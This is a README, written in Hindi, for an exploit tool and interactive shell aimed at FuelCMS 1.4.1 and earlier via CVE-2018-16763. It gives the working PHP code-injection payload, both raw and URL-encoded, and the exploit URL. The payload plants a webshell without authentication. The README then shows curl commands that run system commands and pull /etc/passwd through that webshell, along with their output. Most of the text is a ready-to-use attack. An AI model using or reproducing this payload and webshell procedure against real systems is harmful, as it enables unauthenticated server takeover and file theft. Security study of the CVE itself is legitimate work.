
FuelCMS <= 1.4.1 पर CVE-2018-16763 के लिए RCE ट्रिगर करने हेतु एक्सप्लॉइट और इंटरैक्टिव शेल।
FuelCMS <= 1.4.1 पर CVE-2018-16763 के लिए RCE ट्रिगर करने वाला एक्सप्लॉइट तथा इंटरैक्टिव शेल।
?action=exec के साथ API के माध्यम से सिस्टम कमांड निष्पादित करता है।?action=download के द्वारा दूरस्थ सिस्टम से आपकी हमलावर मशीन पर फ़ाइलें डाउनलोड करता है।आवश्यकताएँ: कुछ भी आवश्यक नहीं है; यह एक्सप्लॉइट बिना प्रमाणीकरण के काम करता है।
सबसे पहले, कमांड निष्पादित करने और दूरस्थ फ़ाइलें डाउनलोड करने के लिए आपको इंटरैक्टिव console.py प्रारंभ करना होगा। यह filter पैरामीटर में CVE-2018-16763 php कोड इंजेक्शन का उपयोग करते हुए, file_put_contents के माध्यम से FuelCMS में एक php वेबशेल API अपलोड करेगा। उपयोग किया गया पेलोड निम्नलिखित है:
'+pi(print($a='file_put_contents'))+$a($_POST["d0eb3f9a"],$_POST["9bc30f43"])+'
यह urlencoded पेलोड निम्न प्रकार देता है:
%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27
अंतिम एक्सप्लॉइट URL है:
http://127.0.0.1:10080/fuel/pages/select/?filter=%27%2Bpi%28print%28%24a%3D%27file%5Fput%5Fcontents%27%29%29%2B%24a%28%24%5FPOST%5B%22d0eb3f9a%22%5D%2C%24%5FPOST%5B%229bc30f43%22%5D%29%2B%27
अब इंटरैक्टिव console.py, Fuel CMS में ./webshell/webshell.php अपलोड करने के लिए इस URL पर एक POST अनुरोध भेजता है।

अब आप action=exec&cmd=id के साथ http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php पर GET या POST अनुरोध भेजकर कमांड निष्पादित कर सकते हैं:
$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=exec&cmd=id"
{"stdout":"uid=33(www-data) gid=33(www-data) groups=33(www-data)\n","exec":"id"}
आप इसे ब्राउज़र से GET अनुरोध द्वारा भी एक्सेस कर सकते हैं।
आप action=download&cmd=/etc/passwd के साथ http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php पर GET या POST अनुरोध भेजकर दूरस्थ फ़ाइलें भी डाउनलोड कर सकते हैं:
$ curl -X POST 'http://127.0.0.1:10080/c1f3e834b49c4e548ebde7f596028f5b.php' --data "action=download&path=/etc/passwd" -o-
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
backup:x:34:34:backup:/var/backups:/usr/sbin/nologin
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
irc:x:39:39:ircd:/var/run/ircd:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin
nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin
_apt:x:100:65534::/nonexistent:/usr/sbin/nologin
mysql:x:101:101:MySQL Server,,,:/nonexistent:/usr/sbin/nologin
आप ब्राउज़र से GET अनुरोध के माध्यम से भी दूरस्थ फ़ाइल डाउनलोड कर सकते हैं।
जब आपका वेबशेल सक्रिय हो, तो आप कमांड निष्पादित करने और दूरस्थ फ़ाइलें डाउनलोड करने के लिए इंटरैक्टिव console.py का उपयोग कर सकते हैं।